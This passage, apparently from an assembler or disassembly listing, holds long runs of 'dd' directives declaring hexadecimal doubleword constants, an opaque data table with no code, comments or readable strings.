0EE6948B7h, 2B898C5h, 7D24359Bh dd 0D8015340h, 0C0046EE4h, 0A83D4A5Bh, 67F6187Eh, 23AFFF2h dd 50138073h, 0A9D6F6CEh, 0E65B120Bh, 0B85000FDh, 5546810Ah dd 4AC9150h, 0A8E45900h, 1F4D98CBh, 238B008Eh, 5BA29932h dd 75F452B9h, 0DA5FDD00h, 0F26E891Dh, 0BB4700DBh, 245527D3h dd 4F0031C9h, 871BAE0Fh, 668EF9h, 5D16E9FEh, 0C5F571B7h dd 0CDB83901h, 3831BF2Dh, 2661F0D3h, 0D17A07C2h, 50797C8Fh dd 50609A9Ch, 0DC1EBD00h, 343A8A22h, 0A0C8500Fh, 74B40004h dd 7A2AB613h, 2200F3A5h, 2DB2B9DEh, 500110E1h, 0BFC45Ah dd 0F64792D0h, 1AC17CE3h, 0D284E200h, 79951C57h, 8F113D3Ch dd 0FFD7D500h, 0B30CB5FEh, 78681E00h, 829D6B96h, 79944857h dd 0F1F68700h, 2F99CE5Dh, 79625905h, 0F481FF80h, 0FCD31F3h dd 30C9CBE0h, 0D186BC3Fh, 0D203DEBDh, 1F9DB087h, 8467A8C8h dd 0DA400C6h, 47737FEBh, 1A00A712h, 82B6D08Fh, 40E6432h dd 142BD1F2h, 0DB6C82CFh, 5745005Dh, 726AD5Bh, 7F1E434Bh dd 0FE478016h, 3E002D52h, 0FC41F519h, 93CB97h, 381E6061h dd 4286833Dh, 0EE40E400h, 9968DF80h, 272F005Dh, 54B1FE05h dd 42002473h, 7893C5FBh, 96BCD4h, 9BE7606Ah, 3329F4A5h dd 0CAA2011Dh, 0D8654B00h, 606D66h, 4D3084E4h, 71860C79h dd 0C41EDF00h, 0CC5A3A6Fh, 4D5FA89h, 0E83E2046h, 39E4C17Fh dd 707AF16Ah, 0EC034BF3h, 0D05EF409h, 842E829h, 0F7AB00B1h dd 49B7EF45h, 7A00ECE5h, 338BAE0Dh, 0C08CF071h, 0DA7F2E71h dd 577F082Ch, 465A6800h, 0C58DEC27h, 3C9C059Fh, 1F336F6Ch dd 1CFB01DFh, 83EFFC73h, 0A46A9520h, 0C98189ADh, 283F14ECh dd 1EA431A5h, 80C57E19h, 0EF6AC3C8h, 740077B5h, 61D21EACh dd 1252C4F8h, 0C002E436h, 0F19D89A8h, 8B015C1Ch, 0BA550680h dd 0C7AFFh, 2D03F282h, 2369F198h, 0A3307300h, 0B4BC7E6Ah dd 8A59009Fh, 254BFEA8h, 277FFDB7h, 0F81A0300h, 4737AA1Ch dd 7A040082h, 9CAEC4D4h, 791F59C3h, 9840E9D9h, 0ECB472D3h dd 0F2910197h, 0AF44F0C7h, 6B77CC56h, 6E5DBF00h, 634654A0h dd 0CB355082h, 1D600DDh, 96A8785Fh, 0AB3C59B1h, 0BBD7803Eh dd 0FC8463Dh, 8EC900F0h, 0EB0C0D20h, 0AC7ADD26h, 0F9DAF71Eh dd 0E095CF49h, 1446EF44h, 84EE2A3Bh, 426AD312h, 0DB4E4F98h dd 89E794C0h, 5384358h, 0F6CD2C70h, 8CC1C680h, 0D3442679h dd 0CB7180B4h, 708ACA1h, 2CB4CD02h, 43D2553Dh, 71A800E8h dd 11B03709h, 0DA00B24Ch, 6A5AB69Bh, 347463h, 5916AA02h dd 3ED6D1E6h, 3C2658h, 0F4F17A4Eh, 1EDA3Bh, 0C95637ACh dd 5A9801B5h, 0C6F28006h dd 605067h, 8AD6AB7Ah, 3CF4A2B0h, 1C814F00h, 0C144EBB2h dd 3484AB9h, 1E8D65ECh, 0A2A693D7h, 8011E038h, 3B5E330h dd 2766B39h, 2FFD5D62h, 0C86141DDh, 598029F0h, 400B2E84h dd 314C1503h, 0F45900FCh, 0A3AB9EB6h, 1C9619CEh, 0B038C300h dd 1C5766Ch, 0F83D860Fh, 0F42EE337h, 4039FA1h, 1391D8FEh dd 5A35F85Dh, 0BA8A009Ah, 225665ADh, 0FC00A8C5h, 0F9D63A21h dd 0F5636F59h, 58DA7EF8h, 1A00B838h, 481255E1h, 9C004254h dd 0CCED7204h, 126E66B2h, 0FFDF9E9h, 63414CF0h, 0E895897Fh dd 0F4F7A9E7h, 742479FCh, 180004EDh, 5DBC8F70h, 49AE0047h dd 556D774Dh, 94006E59h, 9FEF4A48h, 8D4553h, 2F36936Fh dd 0DC84BA2Bh, 359AFB03h, 0C0926838h, 13BE5AA2h, 0E3804Bh dd 67F6D8C4h, 472E0D4Dh, 0F280149Fh, 285ADE6Dh, 0CF2B0199h dd 0D5714B3h, 0CD686058h, 1901FBECh, 1752F8FFh, 95D8EA7Dh dd 0E319C0CAh, 7FAA80DCh, 0ECD86400h, 1DC056E1h, 0ACDB0702h dd 0B03B6CFAh, 58C66E3h, 0E515D8E1h, 0DC0A3502h, 0CBB07F06h dd 4AAEA0B4h, 3C3EC47h, 0C5CE5AA4h, 80C88357h, 0D00F013h dd 15D2A5D6h, 7FEA9807h, 3541014Ah, 955ED892h, 7D5CE8E7h dd 0A28F1607h, 0FE303C2Bh, 659735h, 0C9B0F13Eh, 0F81E21DFh dd 4100EC96h, 0B9D0F271h, 46FB00B6h, 3DB4CE8Fh, 0B23F6DE1h dd 2F007ACDh, 0DFC544EAh, 9E9CD7h, 6C155728h, 0BF239F10h dd 38E948h, 0E6A6A1A7h, 415168h, 92823A4Ch, 72F4DE7Ah dd 23D12Ch, 0F01AC700h, 18ED68BBh, 0F80B2539h, 6A0E21D3h dd 0F2DC642Eh, 0B2486047h, 86591A10h, 9E570146h, 0C944FB6Ch dd 0A4B8FC64h, 70D31500h, 4F074CB1h, 1BDF848h, 0A5D9CB35h dd 401276B5h, 0F8C6F388h, 0BC4CC0B8h, 83521EFCh, 57CC0500h dd 0E7025404h, 0B0FEFAECh, 28D70070h, 264F2755h, 5E00A908h dd 0DD24BBEFh, 3457DABh, 39508F57h, 609EE553h, 0C20E1A00h dd 0E329D446h, 0D0D90C04h, 8BD87BA8h, 998DAF0Ah, 4300C13Eh dd 0ECC7AA4Dh, 59DE0006h, 896B8211h, 0D60E940Eh, 0E0B07E6Ch dd 1037FFA9h, 752F8BAh, 86B8E324h, 0FD84025Ch, 491E2C40h dd 424EB200h, 0BADFE564h, 16087B55h, 3B5D5C6h, 243AB88h dd 0CD3E22C0h, 0D8EF6B07h, 0FD803599h, 751382h, 6E2CE1FCh dd 0C2C67A40h, 0F4B23Eh, 37E206D6h, 307E90F9h, 0CF18BF56h dd 9530D49Fh, 0A7B129DDh, 626100DFh, 0CAADAB2Bh, 0F0005C74h dd 7563E4BDh, 5BB847h, 7DCEC87h, 92787D1Ah, 0EB669809h dd 0B3C78079h, 0F1B0128h, 0B00F558Dh, 0FD291140h, 6F0EF9EAh dd 4010A9E2h, 3CD1D704h, 0E4D20041h, 0B377821Eh, 0B202DC09h dd 5096F2ABh, 0AE2860C5h, 8575004Ch, 32657CD2h, 0B5008DE5h dd 60F59311h, 11FA5ABh, 7E33378h, 0D0FE7BD4h, 0DD0064CFh dd 269CF817h, 1EF39646h, 807E5A9Bh, 0FEBB348Ch, 70007931h dd 29CCA643h, 232C88h, 0F0AA4C24h, 0AED66297h, 429D811Eh dd 1C152B00h, 179BA8h, 0A78CA0Fh, 0C5D20DFEh, 1E5E9A3Bh dd 2B80538Eh, 0F74355BFh, 256C005Fh, 1A7023B5h, 0BAEEF9BCh dd 0CBD4DA00h, 55E2A97Dh, 8F9700D9h, 0CCDC3F5h, 4D00F0E4h dd 8E6703E0h, 0CFD77299h, 3EA12920h, 81D8467Ah, 59287D10h dd 0B16018E0h, 0DFC107DBh, 80D70773h, 2F4F12F8h, 0B0C68800h dd 0E86A0E53h, 955A00BEh, 2CBB5BC3h, 6600F907h, 0DDB1AA33h dd 8CFCE0h, 87690281h, 2B3B29F7h, 1F7EE82Ch, 99209B00h dd 0A06A251Dh, 9E95ACh, 9C63BCC5h, 853886A7h, 1A2C31Dh dd 90BBC480h, 3DA8D18Ch, 690EEAC8h, 6AEFB61Eh, 0A210C5E0h dd 0FF02BB6Fh, 15BAC862h, 69E05DC7h, 0E8004381h, 0EF98E5A1h dd 0CF4E6Ah, 0A76386BAh, 0D84D8A53h, 0BE2CB63Fh, 6BDC015Fh dd 759ECD6Dh, 131EC07Bh, 53007279h, 1F310CA3h, 3A2C3Eh dd 0F398FE39h, 6088F55Dh, 8005AD00h, 1FEC0379h, 1C7BF64Bh dd 0CC9BAF65h, 1B380A1Eh, 49612003h, 0C0131DB6h, 11862DFh dd 41915643h, 40A4D0EAh, 1B741A84h, 58B2C600h, 0DC2A303h dd 129B07D7h, 0F0EC7595h, 8C449305h, 0D90C2400h, 588DF31Eh dd 483E6109h, 3FD387Dh, 3920C8C6h, 0DA22018Fh, 65C117BFh dd 6BB98464h, 3ED088CEh, 3B742282h, 3FF60C7h, 73771444h dd 26F828ABh, 2400E585h, 0B0398F98h, 36938D7h, 366C1637h dd 8AB0F615h, 9A006EAEh, 6AB6FDA3h, 8065Fh, 582C3D75h dd 5EA4A1EBh, 20D71130h, 28AA566Fh, 2841A5Ah, 29D1E8F2h dd 5C603C9Ch, 0A601BB09h, 0C6E30FC0h, 0C1F460ABh, 0A19700B8h dd 0F34CCB68h, 0C3009D83h, 0FBE68536h, 2FFE7Ch, 688F6125h dd 10672B77h, 913FCA78h, 7638867Eh, 3D202330h, 2085DD4Fh dd 0C07AE2BEh, 438C2C30h, 9249B90Fh, 85DD6154h, 0FCC480B6h dd 9D3D03F7h, 0CAC90E64h, 132C2EA8h, 74F94Ch, 7F11354Eh dd 7D74Ch, 0CD1FEDB3h, 0ABCC2D03h, 0C4D8F700h, 0FDDDC6ADh dd 43DE0024h, 9C5153D2h, 0FA006FBDh, 0DE5DCFCh, 4F307Ah dd 2381D44Ch, 7275A8BCh, 0B3501D1Eh, 83935709h, 0C02DCA87h dd 0EC3A8248h, 3B18073Dh, 80EF3085h, 778C3FA5h, 0FB0073F0h dd 0A4E82048h, 6D7CDDh, 0CE476539h, 0F42F41C8h, 368D601h dd 0E13F5766h, 4D50CC80h, 0A9112B45h, 0B540F207h, 2057F585h dd 0DB8FD870h, 45300048h, 2192CDCBh, 6900E7EEh, 0A71B7168h dd 26A08758h, 0ED80374h, 650FBC4Fh, 0FA1FA620h, 9202FBAEh dd 73D3E03Bh, 4CF880FFh, 1C9C0B9Bh, 0C1EFCC65h, 78D88D4h dd 0A82299h, 0D350B95Ch, 136DAD27h, 0FCCC8572h, 0B04883h dd 39E821E9h, 3F1F48h, 0CFC41DBFh, 10A98A4h, 0DCC62624h dd 0FA84C200h, 909AAE2Eh, 0F6CE3D3Ch, 3D804B38h, 3B8B7BB1h dd 820099C7h, 0B9D1655Dh, 0EF13FD9h, 626FA636h, 0B15ABF67h dd 2092A737h, 0DF00E0B7h, 0D7D459B5h, 45970Ah, 0D39517D6h dd 0B9D50C2Eh, 0CC139D3Dh, 54210072h, 68E0F566h, 93A0146Bh dd 0A3009005h, 0FD9C6E4Eh, 3E78C454h, 8A9A4C0Fh, 6A1D008Fh dd 0BFB49Eh, 480BED70h, 0F0134BEh, 0D97C280Fh, 24DC0F6h dd 0F22BFEAh, 563EB1AFh, 0D719807Fh, 2CDCFD36h, 25D39400h dd 5FA6F569h, 0EABA2C86h, 0C05A804Ch, 0E74DF7F9h, 1D50AB02h dd 90A7D494h, 26B66BBCh, 897C919Dh, 0E7800D6Eh, 14615224h dd 17604407h, 207C6D04h, 29C83E28h, 48ADFE00h, 54D8670Dh dd 11DE4F00h, 645EB865h, 76E2004Eh, 5557B159h, 0FD28CB1Dh dd 0CEE5BCE4h, 342FB0C0h, 93D59B03h, 0D713A2CCh, 62B14D30h dd 5B4B0030h, 1849AA73h, 450E3E24h, 0AEAF302h, 5F1DBCEDh dd 96CFE2C0h, 0EDC0184h, 0BB0B158Eh, 0C29F83A1h, 9B99302Fh dd 0C0F19817h, 64FDD700h, 180A0h, 5EE5595Bh, 1C5CD69Fh dd 1F06E70Fh, 9181E776h, 0E1DBD130h, 0B8E43916h, 0CF86D080h dd 0B4420CE7h, 0C5889400h, 778DADAFh, 0D5BE0064h, 1029C10h dd 1D00931Ah, 0EBAAE49Eh, 0FA464195h, 0EC9A8Fh, 4967BBBEh dd 624C9A34h, 0EA20690Fh, 50A88071h, 6FDA81h, 401BB98h dd 5EED4F6Bh, 545CC202h, 402ED60Bh, 0BEE084h, 0D246E74h dd 782F23B0h, 0F3B3C300h, 8D198B40h, 64EA1D5Ch, 0FE7D81D0h dd 0F067D48Ah, 890F211Fh, 18AAE90Ah, 1C5E519Eh, 8F1A044Ah dd 9B1FF3D1h, 0A1D3A8D8h, 0FCB44CC0h, 0F7A0238h, 44E6D24Fh dd 0EA8084E0h, 69DA83Dh, 6855FB2h, 0E20011FCh, 8926B319h dd 6EEE107Dh, 73C2F87Ch dd 80400809h, 0F004C15h, 770AF80Eh, 505AA93h, 32385D75h dd 3D1808EFh, 0F408741h, 538C546h, 986730B6h, 7B10013Ch dd 80E5EF47h, 0D7335C0h, 0F0F4A75Bh, 3122008Ch, 94E9B645h dd 0B17C0AB8h, 0F9235D00h, 9704D027h, 0CE7CF5h, 8E0C4F7Bh dd 0EB17D9C5h, 8ED26D3Dh, 0A0B5A73Ah, 0ACF77649h, 6A7A1777h dd 6B5400CBh, 0B87265AEh, 6C7008E8h, 0A62BE600h, 0CF1DB396h dd 0ABFE008Eh, 3C936717h, 600B7BEh, 0F21A12ADh, 0CA4F41h dd 3088FEB9h, 6989A2D7h, 0B4670A1Dh, 2CCC0600h, 82B380h dd 0B8D84843h, 3C6224A9h, 0FDF2F119h, 282490DCh, 4AE5009Dh dd 0F3E11382h, 493AFBEDh, 219F30F0h, 4B08BCh, 0DE74B7E5h dd 10F85AB3h, 76A52604h, 10801B35h, 140512h, 4C17A8AAh dd 0EE732111h, 60BC000h, 3EC951B3h, 0FEB80C7Ah, 0EA5979D4h dd 5D838A00h, 52B587DEh, 0B45C01E7h, 92E16358h, 8D7070A8h dd 0A6BE740Ah, 465E5C3Ah, 43610EA0h, 0F38C20D5h, 30D021F1h dd 7D20C863h, 0A400127Fh, 136892EFh, 3BBC55h, 7159C3D1h dd 0FF4889E8h, 0CCE6B200h, 0DA670C3Ah, 38890EAh, 6698E16Bh dd 2006F1CBh, 670ED2F4h, 47D0579h, 648008h, 0BEE99E08h dd 0A01E30DDh, 90596913h, 2180B408h, 6EBEFCF8h, 5D4BEF5Ah dd 751203ACh, 4B5B1CF6h, 75809F67h, 9ED554F4h, 9DB8A001h dd 0F275B6FFh, 827D024h, 8BEF5158h, 88318587h, 3C602346h dd 51BAB1FEh, 0A33CE100h, 459422ECh, 74309278h, 7C53C89Eh dd 3150600Bh, 0BEC8BA07h, 0E374E907h, 0ABF6D3A9h, 21406908h dd 0A0BEFC80h, 4F0784C3h, 8F7C5715h, 1C8E94A3h, 803F7650h dd 5D70301Fh, 6F037FA2h, 729C795Fh, 0EB0CD841h, 856A03DDh dd 625DC95Bh, 7034FDB0h, 2F26CC00h, 97EBC59Fh, 2604E4F1h dd 582402h, 2570FE68h, 1607EC9Eh, 2BF1E73Ah, 0C4ED5750h dd 17223CE4h, 3C7D00FFh, 110C904Bh, 70397B01h, 539600CAh dd 0CF083BC4h, 7090046h, 0D7E72364h, 670065DEh, 0E5FB3E1Ah dd 0FA540h, 92120E0h, 4D36A8A1h, 16EA120Bh, 0A3F200B4h dd 3D9D31h, 50C8719Ch, 0CD79D790h, 6FEB7400h, 5FDD5C1Ch dd 0F95E1DFAh, 8D524061h, 0F6BA5D0Ah, 27B110C0h, 0E595BFh dd 0FB9A424Dh, 0B22D8198h, 0C603370Eh, 20498F08h, 0EE019E4Eh dd 5A0B0020h, 0A45FBA32h, 581C3B73h, 51376AC2h, 117004CAh dd 10656118h, 80E34019h, 9BE62099h, 0F25261h, 11B89883h dd 4497E08Fh, 0FD271A18h, 88EBC429h, 0A389853Ah, 0FE44D908h dd 0F7E74448h, 84D78E44h, 50EBDB22h, 44743C2Ch, 0F75AB90h dd 88FAB380h, 2A80E5F0h, 89451D58h, 114D0026h, 7B537DF2h dd 4484D003h, 360738h, 13AF3920h, 0EA797EC9h, 71326500h dd 68867820h, 448D0707h, 8BDFEB73h, 0A8895782h, 2D90EE82h dd 144553C0h, 0EBDC100h, 978FF9ACh, 0F167ADCh, 77843E68h dd 3B391C60h, 2B00C176h, 94DF5D25h, 0FCDB6F5Ch, 1E8600DAh dd 723DC7ECh, 0B000B6B9h, 533536A2h, 0FDC300Bh, 3877C0E7h dd 0BEDB1EA0h, 7E0A9DAh, 7BB9C300h, 0EEA71562h, 67F9008Ch dd 40D79E81h, 5D005472h, 71648D9Dh, 388C8D4h, 0C04F1DBCh dd 0BAE81F1Eh, 3E851E1h, 74F6AC00h, 0A913C64Ch, 7AC93CF9h dd 0C595D38Eh, 87B6E7C0h, 1E01B4FAh, 0E9AEA617h, 41C4F1CFh dd 318E41Dh, 620DD4F8h, 0E6D0325Fh, 1300A1E1h, 2975791Eh dd 0D6BD3FCh, 4EA00BB8h, 0CB3A3021h, 0FEABA100h, 0E8ADCDD2h dd 86B039D1h, 0BC95007Ch, 5EA87FAAh, 0B8A0DEECh, 58031B98h dd 0E32971D7h, 0D238F0FDh, 0BD9139Dh, 1C300062h, 711D2765h dd 894E733Ch, 0D84454h, 4AA6F215h, 62FF00F3h, 87E5A7F4h dd 0BE18A830h, 0D2119D38h, 0C06C00F6h, 8BE8ED82h, 18CCA82Ch dd 0F1D4EDBh, 61F4898Fh, 5FCEEF20h, 0B80002E7h, 63B7692Ah dd 798D2027h, 249C90BCh, 400C2CACh, 0A6F1D05Eh, 32BE7200h dd 0E9CA2F89h, 0E29042h, 83C48568h, 0BA7975AEh, 0E1036524h dd 76364106h, 0CF470010h, 0F84FC248h, 3A398951h, 0BDA10091h dd 557AC706h, 6ACF07F3h, 60E81895h, 48F1B6DBh, 0AE8F5900h dd 2722FCFAh, 122300B9h, 9A72BCBh, 700F447h, 0B0A3F554h dd 2FAAF69h, 0B2CB0CA1h, 0FCC0435Bh, 0DF00C619h, 0F79A6F4Bh dd 54231Bh, 14779424h, 9E44A6D5h, 7C5BC3Dh, 84496B89h dd 85A06460h, 47970077h, 0E8400C99h, 0E5007EEFh, 74173357h dd 128AB5h, 1908DE0Bh, 1B664AA0h, 0FD3DC303h, 88FB5143h dd 3BDA33CBh, 0D78081CEh, 5EE9B114h, 0BA009BC6h, 0FF603466h dd 0BB3F28h, 0DB2CA2C7h, 53AF19D8h, 24D42F00h, 1C47B32Bh dd 7A2D0056h, 39C2BE5Ah, 0A105CE04h, 0B26D4326h, 0E74111C0h dd 0D9540034h, 19A08B8Eh, 43000CC3h, 0B3F43CB9h, 4C6A3FEFh dd 7A00F2DEh, 7C5249CBh, 4C0CDADDh, 20E1B081h, 0A53900B9h dd 152EA9AAh, 1C00736Eh, 1F589910h, 0C8D960Dh, 3028C94Dh dd 3500DE88h, 0E451EA57h, 1DB9E2ADh, 0C09BAB4Ah, 383779D2h dd 2E8BDC8h, 48261200h, 27BADAD6h, 39B2580Eh, 0F8E1C300h dd 0F22FB065h, 0CC3B1102h, 80F5BFA2h, 177F958Dh, 56CA0099h dd 5E3654B9h, 33005FBEh, 3FC90EE9h, 0D3D9C1h, 48ED5D49h dd 5E2920E6h, 93942F00h, 0C0350C0Eh, 961C00AAh, 0EE0D8222h dd 0A5005C32h, 0F79DA183h, 0EA6DAFC4h, 23B30084h, 0FD03616Fh dd 0E4160647h, 0B2001D71h, 9C63189Ah, 6BD5016Dh, 0FD295636h dd 15E2F699h, 899DBD60h, 0EE660F00h, 2BEDF58Bh, 9360030h dd 0CE17DBD4h, 0E9004274h, 8E18D737h, 0E926273h, 5E527570h dd 8446ADE0h, 6FE4542Dh, 0E9A70B00h, 41DDF97Eh, 0A9B00075h dd 8529C5AEh, 0BF1210D9h, 78004374h, 0B4FBEFB6h, 0CD420E50h dd 1805EE2h, 0FE3F52ADh, 0A6BDF00h, 0CC5A97E7h, 18D80025h dd 7B0E2B08h, 0B91D8BEAh, 0C540FD6Fh, 61E8E326h, 4C0400B8h dd 7C373691h, 0C00CEE1h, 139DC360h, 0C4E6CDh, 0D74C868Fh dd 2A0F6576h, 0C0A8F348h, 0BDF6ADBFh, 0A948B2h, 48C3007Fh dd 0EC237D5h, 5000E6C7h, 0BF82C4F3h, 0FEC61Ah, 0BB6C950Fh dd 314E0672h, 2B1EA600h, 0C5F3B556h, 0CA403EACh, 62707380h dd 7186E9Ch, 813E9B00h, 0EB4BCCDFh, 0A7010075h, 0D3B026F5h dd 2F3C6514h, 7F8402C6h, 0C0C2E95Fh, 557DB0h, 823463C5h dd 57B4A69h, 0A541200h, 0BCC07836h, 9F1C014Bh, 0AFACE479h dd 0E89821A6h, 23EA7D4h, 0A2BC80A3h, 349AB107h, 0C6720005h dd 5CA908C9h, 0E10002C3h, 0F421E38Ch, 0D7178Dh, 0F01693F7h dd 0D13F2592h, 8031A50Fh, 0EAE48B8h, 1180D00Fh, 68EA76A1h dd 0A62A0E00h, 0D5C60905h, 12301A9h, 9A38CD15h, 804AE8E4h dd 59A6821Ch, 30FCBC80h, 13D17C4Fh, 12A3124h, 0F344734Ch dd 0A801C07Ah, 8013923Dh, 419A20D6h, 24045D48h, 46C06E9h dd 0D03DCBFFh, 0F20D7398h, 2D6EFC0Ah, 0FE018F50h, 0C459F615h dd 0EA3BACD4h, 39F20099h, 0ADA4542Eh, 7B007E92h, 0D0B24C49h dd 90721Bh, 4DCF9B7Ch, 0C9D5E5A0h, 7AE13400h, 80482712h dd 75230797h, 0FE71332Ah, 0B11C0113h, 30379EEEh, 1C002B68h dd 759C9527h, 0F36FBEC9h, 96DDA88Eh, 10FF3EC1h, 98D27039h dd 0D9406500h, 0CC4F500Fh, 42603AE0h, 16646601h, 0CCA324ABh dd 0BB004C83h, 0A029BC0Ch, 26A9C3h, 16593AEh, 0EFED353h dd 488F2E12h, 0FC275C60h, 0FE300AEh, 818956B3h, 3A0CF9C8h dd 90042069h, 491500F4h dd 0CB5E4FBDh, 0DD00A886h, 3613E2B7h, 713CD9D8h, 0D72D016Ch dd 0CCFA6123h, 0E53983D4h, 0D08CBB58h, 0E31483h, 0F8B737ACh dd 0F23F50AEh, 2DC9B48h, 7AC646E7h, 0B459604Ch, 0A6F0073h dd 195A3D8Ah, 0FF00DEB2h, 3F9A9E6Bh, 8EB4D4h, 2C458179h dd 1992E27Ch, 3B2F5501h, 5DF9220Fh, 182767E4h, 880737F0h dd 143AFE75h, 59FCCAB4h, 1D6AE078h, 0F6361B8h, 6D8044B7h dd 2FCE54BAh, 8C406C07h, 63B0D2FCh, 26656FE5h, 1EC4FD2Dh dd 0DC4C825Eh, 0A880505Dh, 82F72866h, 3C4A270Fh, 0D8A2843Dh dd 15A94C0h, 4B702490h, 9C3B8038h, 0F7ED87A6h, 5B294C00h dd 826FC2BBh, 0AE890068h, 0E0D8B0F3h, 898F696h, 4ED9F00h dd 93F2D795h, 0F1F80042h, 2699E4E5h, 7C00B780h, 79331BC7h dd 64E208h, 2FA43C12h, 503E9A8Fh, 48B7EF00h, 22CF4119h dd 24B87Dh, 0FA5C6B0Bh, 5374071Bh, 8973BBFEh, 46006077h dd 2C626CE4h, 0F3C731h, 0BE404B82h, 0B54902A8h, 0C84A6037h dd 58274330h, 267D0011h, 3294E76Eh, 7A0F12A2h, 801C5733h dd 8EE4BC30h, 0ECA59871h, 0A79A007Fh, 0E3497465h, 92007EBBh dd 0DE45CED5h, 987B781Fh, 409B1EBCh, 9410CFC5h, 0D3617342h dd 0D9E585h, 182B8DA8h, 0A00016C4h, 11AF5BD6h, 2FDAEE55h dd 585E3491h, 0EA922400h, 84B4BFh, 0A3E8C60Ch, 67778CF1h dd 0CCCF4Ch, 0F66FB5F3h, 0C73C157Fh, 932040D0h, 2071CE8Ch dd 0A5601419h, 0BDD86340h, 3F1B00FEh, 28367A27h, 4E01ED64h dd 9195F93Dh, 0ADC0E60Bh, 0F3F70FFEh, 8F8113F4h, 0F589B41Dh dd 0ED40213Dh, 550BCC5Dh, 0AE4A5038h, 0B609D0CDh, 0E0600EE7h dd 333B203Fh, 904960F0h, 1B1ABBBFh, 0D50BF200h, 0E8FB1494h dd 70F4ED93h, 22E50916h, 5C81E3ECh, 0ECD2C252h, 23D5C60h dd 85FB870Eh, 0BAD116DEh, 0DDD89610h, 0B895778Ah, 0DBFF0F1Ch dd 0E56B3946h, 88FBB080h, 0E11E23D4h, 48C4BE3Bh, 5881FA47h dd 35F09BB1h, 8C965031h, 449098h, 474186CEh, 703D7D6Ch dd 5E7FB800h, 11C85633h, 0D55D0076h, 5B0AA0D3h, 1CEA02FDh dd 4FA5D918h, 98F36918h, 776A01C2h, 0FD2C78BDh, 59846025h dd 3C024D98h, 6423B436h, 87CC8085h, 3CC0D7Dh, 279DFC5Dh dd 0F7D87817h, 0EC03457Ch, 0BD5552Fh, 0AF57D941h, 7BF1EB20h dd 13E10E7Bh, 65200545h, 0D10B7CE4h, 20E9D000h, 0EBB6946h dd 0B1C200B8h, 649B2A58h, 5F00B062h, 0BF97AD5Dh, 9870CBh dd 0B7442E88h, 0F7F6B1C5h, 2400AAEEh, 4EBCE6B6h, 3A1215A5h dd 4B81182Ah, 2F017E6Bh, 1AAEC441h, 0BE9DFB00h, 1BCB9867h dd 327C00DEh, 25330EA4h, 60003430h, 3DF9F6A1h, 289C15h dd 0BD5F9A87h, 93F026EDh, 74EF3A01h, 0CA200692h, 3C52E0h dd 0ABFA5DD2h, 850C6CD4h, 1B6263Dh, 99DB2137h, 802FAA39h dd 0C473DF46h, 0BEF48500h, 4502A33Eh, 302F02FDh, 0BA8C8D40h dd 0F2A06BC3h, 0A60091B0h, 0E5988BC0h, 679063DDh, 1022208Eh dd 0FA7DC951h, 27D1AC00h, 7C68C298h, 880900A9h, 0D60D9628h dd 0FC0351EAh, 0C99C722Ah, 50DCB0C7h, 12697BCFh, 33B1E53h dd 56D12856h, 4070B6A9h, 9B74DA94h, 0FEC45339h, 1BF14303h dd 888A1662h, 38C8679h, 6E02040Dh, 8184C1D0h, 71C7557Fh dd 97BBF0EFh, 0C9F03Bh, 0DC79F946h, 0C468819Eh, 880C87E0h dd 0F078C618h, 0B070BC00h, 5EDA4549h, 0E3F7007Fh, 4B95256Ch dd 2F00E21Ah, 0B8030EA1h, 0BAB9Ah, 34A83C10h, 81E35C8Eh dd 0E1000AEEh, 53E2D97Eh, 0DDAD92h, 0BB2A7FEDh, 30BE5A05h dd 60DA5700h, 505B8DBDh, 0A7280004h, 0C54FEFB8h, 0A20093A6h dd 0C7333CDAh, 6D5496h, 2E26EC65h, 7A512599h, 6029B74h dd 3C5333F3h, 89E84013h, 1F320082h, 45CFB820h, 0B90772C7h dd 38526214h, 752FDB90h, 302C007Ch, 5994ABFFh, 81001519h dd 4DFCB73Fh, 3121B63h, 0C5898BB2h, 96B05DA0h, 0D900FD70h dd 1DCB6C66h, 0AE64BDh, 0A36F6827h, 1E35C712h, 0BE903A1Fh dd 81D38B80h, 94C7C36h, 129EBF76h, 67A49403h, 40045BF9h dd 79EBF380h, 14193B00h, 0F5093CDBh, 8D73EFh, 7FDD3F4Bh dd 0A639A364h, 0BECA8C00h, 93FFF494h, 37270098h, 3610E8C3h dd 380083E6h, 0E4067720h, 48BB2604h, 7C004927h, 0D888327Bh dd 10005AF3h, 9F8939DDh, 0BBA2A9h, 27660C91h, 1D0207A3h dd 7BC36501h, 0E34226BDh, 7B981E4h, 0A3917F68h, 0C0F9F721h dd 59C9D303h, 0CD52500h, 33FE7E94h, 0E0C21D17h, 0B5A9807Ah dd 0B6812806h, 6C6E4C00h, 4FCDC4DFh, 61893EEEh, 0A79EDA00h dd 4578907Eh, 0E1ABF100h, 760D6AAh, 855A3CDFh, 87A82E3Eh dd 417800D0h, 63170D4Fh, 1D00C6F9h, 0E452704Bh, 7CEB6Ah dd 4A55627h, 77F58996h, 0F9F60528h, 3F1DD000h, 8F0EDD5Ch dd 288E0408h, 83F75A2Bh, 8883B12Eh, 40603Fh, 709954B7h dd 3EA40378h, 65313428h, 888CF980h, 9E4F2F10h, 0B40339FCh dd 0C3AD5356h, 0FB78D60Eh, 0D18B85C4h, 0F9E3E600h, 363435DBh dd 5839595Dh, 330853Ah, 2AA1E988h, 86810284h, 7C786AC7h dd 0F90D0880h, 0E733218Dh, 0C0EB7003h, 305B067Bh, 0FB504034h dd 0B17989DBh, 4D20A40Eh, 9737805Ch, 49C8C051h, 0AF0DE829h dd 855904F1h, 0EE7A6CE1h, 0CB291C1h, 0E0642FE8h, 1F470056h dd 3E1C84F7h, 240A9A49h, 0C4159E34h, 50C0C21Ch, 0BB9BD0D7h dd 0ECE60247h, 0F0130E2Ah, 15806760h, 0EBAA6100h, 9CDA2DC4h dd 0EC6300B3h, 1183B246h, 0D30E6E09h, 47BFB907h, 0D4E0F84Fh dd 170C58h, 49921497h, 34617BCDh, 6B002A75h, 1CC49960h dd 0FF973Ch, 0ABB97F72h, 0C68F6DB4h, 0CD449B1Eh, 0C9E91B00h dd 1C1767h, 641A097Ah, 9A548094h, 60F19E01h, 6C4F7F6Dh dd 0BBD2AC50h, 5AC00017h, 0F8AE0286h, 5D01B229h, 0EF3B333Eh dd 0C8D85C08h, 0FCD9151Fh, 0C7009C1Ah, 263B8EB6h, 0A4B8AF45h dd 6F185863h, 7159006Eh, 84AE3242h, 7205F29Fh, 5CED7D45h dd 0F9D0D400h, 1ECE4CFFh, 7B1B2C7h, 30AC6FE8h, 795F072Eh dd 2B0C82B0h, 516B9977h, 0E00554CEh, 459806h, 0BBF9EE1Eh dd 8A19AFDDh, 7D81A600h, 0AA74D732h, 244C7CB8h, 7801117h dd 826E9A97h, 0EB80A7FCh, 